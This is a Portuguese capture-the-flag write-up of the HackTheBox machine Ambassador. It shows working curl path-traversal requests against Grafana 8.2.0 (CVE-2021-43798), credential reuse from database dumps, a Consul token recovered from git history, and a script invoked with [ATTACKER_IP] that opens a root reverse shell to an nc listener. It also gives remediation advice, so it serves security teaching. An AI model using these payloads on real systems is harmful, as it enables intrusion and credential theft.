> For the complete documentation index, see [llms.txt](https://brunosergio.gitbook.io/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/ambassador.md).

# Ambassador

## Summary

Ambassador é um alvo Linux de dificuldade média que expõe quatro serviços na superfície de ataque: SSH, HTTP, Grafana e MySQL. A avaliação identificou uma vulnerabilidade crítica de Path Traversal no Grafana 8.2.0 (CVE-2021-43798), permitindo a leitura arbitrária de arquivos do servidor sem autenticação. A exploração possibilitou a exfiltração do banco de dados interno da aplicação, que continha credenciais MySQL em texto simples.

O acesso ao MySQL revelou um segundo banco de dados com a senha do usuário `developer` codificada em Base64. A credencial decodificada foi reutilizada para acesso SSH. A enumeração pós-acesso identificou um repositório Git local cujo histórico de commits expôs um token do serviço Consul — em execução como `root` e acessível via API REST. O token foi utilizado para registrar um serviço malicioso, resultando em execução remota de código com privilégios totais.

### MITRE Kill Chain

{% stepper %}
{% step %}

#### **Reconnaissance**

Varredura TCP revelou quatro serviços: SSH (22), HTTP/Apache (80), Grafana (3000) e MySQL (3306).
{% endstep %}

{% step %}

#### **Initial Access**

Grafana 8.2.0 vulnerável a path traversal (CVE-2021-43798) — leitura de `/etc/passwd` e exfiltração de `grafana.db`.
{% endstep %}

{% step %}

#### **Credential Access**

Banco de dados SQLite expôs credenciais MySQL; banco `whackywidget` armazenava senha do `developer` em Base64.
{% endstep %}

{% step %}

#### **Lateral Movement**

Credencial decodificada reutilizada para acesso SSH como `developer`.
{% endstep %}

{% step %}

#### **Discovery**

Histórico Git do projeto `/opt/my-app` expôs token do Consul em commit não purgado.
{% endstep %}

{% step %}

#### **Privilege Escalation**

Token utilizado para registrar serviço malicioso via Consul API — reverse shell recebida como `root`.
{% endstep %}
{% endstepper %}

***

## Reconnaissance

\#attack/T1595 #attack/T1046

### Host Discovery

A primeira ação para reconhecimento do alvo é testar a conectividade com ele. O retorno do TTL de 63 é uma indicação de que estamos lidando com um sistema Linux — o TTL inicial para sistemas Linux costuma ser 64, e o valor é reduzido conforme os pacotes atravessam roteadores. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux a um salto de distância.

```bash
attacker> ping -c 1 10.10.11.183
PING 10.10.11.183 (10.10.11.183): 56 data bytes
64 bytes from 10.10.11.183: icmp_seq=0 ttl=63 time=432.689 ms
--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
```

{% hint style="info" %}
O valor TTL de **63** indica que o alvo é provavelmente um sistema baseado em Linux, considerando um salto único no trânsito.
{% endhint %}

### Port Scanning

Em seguida, um escaneamento completo de portas TCP foi executado no alvo para identificar todas as portas abertas.

```bash
attacker> nmap -sS -p- --min-rate 5000 -v -n -Pn -oG portsTCP.gnmap 10.10.11.183
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql
```

A varredura revelou quatro portas abertas. Com isso, foi executada uma varredura de serviços direcionada às portas identificadas para verificar as versões e coletar informações adicionais.

```bash
attacker> nmap -sCV -p 22,80,3000,3306 -n -Pn -oX nmap.xml 10.10.11.189
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 302 Found
|     Location: /login
<SNIP>
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
<SNIP>
```

A enumeração de serviços revelou o seguinte:

* **Port 22**: Executando `OpenSSH 8.2p1` no Ubuntu Focal.
* **Port 80**: Executando `Apache 2.4.41` com gerador `Hugo 0.94.2`.
* **Port 3000**: Redirecionamento HTTP para `/login` — comportamento característico do Grafana.
* **Port 3306**: `MySQL 8.0.30`.

***

## Web Enumeration

\#attack/T1592 #attack/T1593

O perfilamento tecnológico foi realizado com `whatweb` nas duas portas HTTP para confirmar a stack web e identificar informações de versão adicionais.

```bash
attacker> whatweb -v http://10.10.11.183 http://10.10.11.183:3000 | tee whatweb.txt
WhatWeb report for http://10.10.11.183
Status    : 200 OK
Title     : Ambassador Development Server
Summary   : Apache[2.4.41], Hugo[0.94.2], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]

WhatWeb report for http://10.10.11.183:3000
Status    : 302 Found
Summary   : Cookies[redirect_to], RedirectLocation[/login], X-Frame-Options[deny]
<SNIP>
```

O acesso direto à porta 3000 via browser confirmou o painel de login do **Grafana versão 8.2.0**.

<figure><img src="/files/JtkTsrRIXdthxAJtcDZd" alt=""><figcaption></figcaption></figure>

A identificação da versão exata foi o pivô crítico para a próxima fase. Uma busca por vulnerabilidades conhecidas no `searchsploit` revelou uma PoC de Directory Traversal e Arbitrary File Read documentada para o Grafana 8.3.0 — passível de aplicação na versão 8.2.0 em execução no alvo.

```bash
attacker> searchsploit grafana
Grafana 7.0.1 - Denial of Service (PoC)                       | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read    | multiple/webapps/50581.py
```

***

## Initial Access

\#attack/T1190

### Arbitrary File Read (CVE-2021-43798)

A inspeção da PoC (`searchsploit -x multiple/webapps/50581.py`) revelou o mecanismo de exploração: ao injetar sequências de path traversal (`../`) no endpoint de plugins públicos do Grafana, o servidor resolve o caminho resultante sem sanitização, retornando o conteúdo do arquivo solicitado. O alvo foi confirmado como vulnerável com a leitura direta do `/etc/passwd`:

```bash
attacker> curl -s --path-as-is \
  'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd' \
  | tee passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
developer:x:1000:1000:developer:/home/developer:/bin/bash
consul:x:997:997::/home/consul:/bin/false
```

A filtragem por usuários com shell ativa revelou dois alvos: `root` e `developer`. A presença do usuário `consul` sem shell também é relevante — indica que o serviço Consul está em execução no sistema, um detalhe a ser explorado na fase de escalação de privilégios.

```bash
attacker> grep sh$ passwd.txt
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
```

Procurando informações sobre arquivos importantes do Grafana, o banco de dados interno da aplicação — `grafana.db` — é armazenado por padrão em `/var/lib/grafana`. Ele foi exfiltrado com o mesmo path traversal:

```bash
attacker> curl -s --path-as-is \
  'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' \
  -o grafana.db

attacker> file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 804
```

{% hint style="danger" %}

#### **Finding: Grafana Arbitrary File Read (CVE-2021-43798)**

* **Affected Asset:** `http://10.10.11.183:3000`
* **Severity:** Critical
* **Vulnerability Type:** Path Traversal / Arbitrary File Read
* **CVE:** CVE-2021-43798

Reproduction Steps:

{% stepper %}
{% step %}
Identifique uma instância Grafana com versão entre 8.0.0 e 8.3.0.
{% endstep %}

{% step %}
Envie `GET /public/plugins/[any-plugin]/../../../../../[file-path]` utilizando `--path-as-is` para preservar as traversal sequences.
{% endstep %}

{% step %}
Leia arquivos arbitrários com as permissões do processo Grafana — incluindo `/var/lib/grafana/grafana.db`.
{% endstep %}
{% endstepper %}

**Remediation:** Atualizar Grafana para versão 8.3.1 ou superior. Restringir acesso à porta 3000 por firewall ou proxy reverso autenticado.
{% endhint %}

***

## Credential Access

\#attack/T1552\_001 #attack/T1078

### Grafana Database Analysis

O arquivo `grafana.db` é um banco SQLite. A inspeção de suas tabelas revelou conteúdo crítico na tabela `data_source`, que armazena as conexões com bancos de dados configuradas no Grafana, incluindo suas credenciais em texto simples.

<figure><img src="/files/W6fWDmbqys4WjxA8ZS2C" alt=""><figcaption></figcaption></figure>

<pre class="language-json"><code class="lang-json">attacker> cat data_source.json 
[
  {
    "id": 2,
    "org_id": 1,
    "version": 1,
    "type": "mysql",
    "name": "mysql.yaml",
    "access": "proxy",
    "url": "",
<strong>    "password": "dontStandSoCloseToMe63221!",
</strong><strong>    "user": "grafana",
</strong>    "database": "grafana",
...
</code></pre>

### MySQL Enumeration

\#attack/T1552\_001

As credenciais extraídas foram utilizadas para acessar o serviço MySQL exposto na porta 3306. O acesso foi bem-sucedido. A listagem dos databases revelou seis bancos — entre eles `whackywidget`, nome atípico que se destaca dos bancos convencionais do sistema e atrai atenção imediata.

```sql
attacker> mysql -h 10.10.11.183 -ugrafana -p'dontStandSoCloseToMe63221!'

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+

MySQL [whackywidget]> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user  | varchar(255) | YES  |     | NULL    |       |
| pass  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+

MySQL [whackywidget]> select user,pass from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
```

No banco `whackywidget` há a presença do user `developer` com uma senha codificada em Base64. A decodificação revelou a senha em texto simples:

```bash
attacker> echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
anEnglishManInNewYork027468
```

{% hint style="warning" %}
A senha do usuário `developer` foi encontrada armazenada em Base64 no banco `whackywidget` — decodificada revela `anEnglishManInNewYork027468`. Credenciais em formato Base64 não são criptografadas e representam armazenamento inseguro equivalente a texto simples.
{% endhint %}

***

## Gaining Access

\#attack/T1021\_004

Como o serviço SSH está presente na porta 22 e foi identificado anteriormente que o user `developer` possui shell ativa, o próximo passo foi verificar se esta credencial estava sendo reutilizada para acesso via SSH.

```bash
attacker> ssh developer@10.10.11.183
developer@10.10.11.183's password: anEnglishManInNewYork027468

developer@ambassador:~$ hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

developer@ambassador:~$ cat user.txt
129b8c1afddff7fdc9ff085647c4546b
```

{% hint style="success" %}
Credencial reutilizada com sucesso. Acesso SSH obtido como `developer` — flag `user.txt` coletada.
{% endhint %}

***

## Privilege Escalation

\#attack/T1552\_001 #attack/T1059

### Internal Discovery

Fazendo uma descoberta interna do alvo, no diretório `/opt`, há o repositório `my-app` com um `.git` acessível pelo grupo. Isso permite inspecionar o histórico de desenvolvimento do projeto.

```bash
developer@ambassador:~$ ls -la /opt/my-app/.git
total 52
drwxrwxr-x  8 root root 4096 Mar 14  2022 .
drwxrwxr-x  5 root root 4096 Mar 13  2022 ..
-rw-rw-r--  1 root root   19 Mar 13  2022 COMMIT_EDITMSG
-rw-rw-r--  1 root root   92 Mar 14  2022 config
<SNIP>
```

### Git History Analysis

\#attack/T1552\_001

O histórico de commits foi inspecionado. O primeiro log possui a descrição `tidy config script`, que representa alguma "correção" feita no script de configuração — este tipo de commit chama a atenção por sugerir a remoção de algo que não deveria estar exposto.

```bash
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000
    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000
    config script
<SNIP>
```

Visualizando o diff deste commit, a suspeita se confirma: um token do serviço `consul` estava exposto no script e foi removido. A remoção do arquivo do repositório não elimina o commit do histórico Git — o objeto permanece recuperável enquanto o repositório não for purgado.

```bash
developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
```

{% hint style="warning" %}
O token Consul `bb03b43b-1d81-d62b-24b5-39540ee469b5` foi recuperado do histórico Git. A remoção do token do script ativo não elimina o commit do objeto store — o token permanece acessível via `git show` ou `git log -p`.
{% endhint %}

### Consul Service Analysis

O serviço `consul` foi confirmado em execução no alvo. O Consul é uma ferramenta de service networking que expõe uma API REST para gerenciamento de serviços, configurações e health checks.

```bash
developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Protocol 2 spoken by default, understands 2 to 3
```

| Use                | Default Port    |
| ------------------ | --------------- |
| DNS (TCP/UDP)      | 8600            |
| **HTTP API (TCP)** | **8500**        |
| HTTPS API          | 8501 (disabled) |
| LAN Serf (TCP/UDP) | 8301            |
| WAN Serf (TCP/UDP) | 8302            |
| Server RPC (TCP)   | 8300            |

A inspeção das conexões ativas confirmou o Consul em escuta na porta `8500` — exclusivamente em loopback, não exposto externamente.

```bash
developer@ambassador:/opt/my-app$ netstat -na | grep 8500
tcp  0  0  127.0.0.1:8500  0.0.0.0:*  LISTEN
```

#### Consul RCE via API

\#attack/T1059

Uma busca por exploits do Consul revelou dois módulos Metasploit para RCE via Services API. Como alternativa sem Metasploit, o seguinte script Python foi utilizado:

{% embed url="<https://github.com/GatoGamer1155/Hashicorp-Consul-RCE-via-API>" %}

Analisando como o script funciona: ele registra um serviço malicioso no agente Consul local via API REST, com um health check configurado para executar um payload de reverse shell. O agente Consul executa esses checks com as permissões do processo — que neste caso roda como `root`. O token obtido do histórico Git foi utilizado para autenticar o registro do serviço.

```bash
attacker> nc -nlvp 443
listening on [any] 443 ...
```

```bash
developer@ambassador:/dev/shm$ python3 consul.py \
  --lhost [ATTACKER_IP] \
  --lport 443 \
  --token bb03b43b-1d81-d62b-24b5-39540ee469b5

[+] Request sent successfully, check your listener
```

Ao executar o script com o listener ativo, o RCE foi explorado e a reverse shell foi recebida como `root`:

```bash
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.183] 37746
bash: cannot set terminal process group (37785): Inappropriate ioctl for device

root@ambassador:/# hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f

root@ambassador:/# cat /root/root.txt
5aa400a14a5934feee966bb0adaa19b6
```

{% hint style="danger" %}

### **Finding: Consul API RCE via Token Exposto em Histórico Git**

* **Affected Asset:** `http://127.0.0.1:8500` (Consul Agent — executando como `root`)
* **Severity:** Critical
* **Vulnerability Type:** Exposed Credential / Unauthenticated Service Registration RCE

Reproduction Steps:

{% stepper %}
{% step %}
Recuperar token Consul do histórico Git: `git show <commit-hash>` em repositórios com `.git` acessível ao grupo.
{% endstep %}

{% step %}
Registrar serviço com health check malicioso via `PUT /v1/agent/service/register` com header `X-Consul-Token: <token>`.
{% endstep %}

{% step %}
O agente Consul executa o health check script como `root` — conexão recebida no listener.
{% endstep %}
{% endstepper %}

**Remediation:** Purgar histórico Git com `git filter-repo` para eliminar o token exposto. Revogar e regenerar todos os tokens Consul. Configurar ACLs no Consul restringindo quais tokens podem registrar serviços. Executar o agente Consul com usuário dedicado sem privilégios root.
{% endhint %}

{% hint style="success" %}
Escalação de privilégios bem-sucedida. Comprometimento total do sistema alcançado.
{% endhint %}

<figure><img src="/files/IVSPGVnmbAZFYzffeCa1" alt=""><figcaption></figcaption></figure>
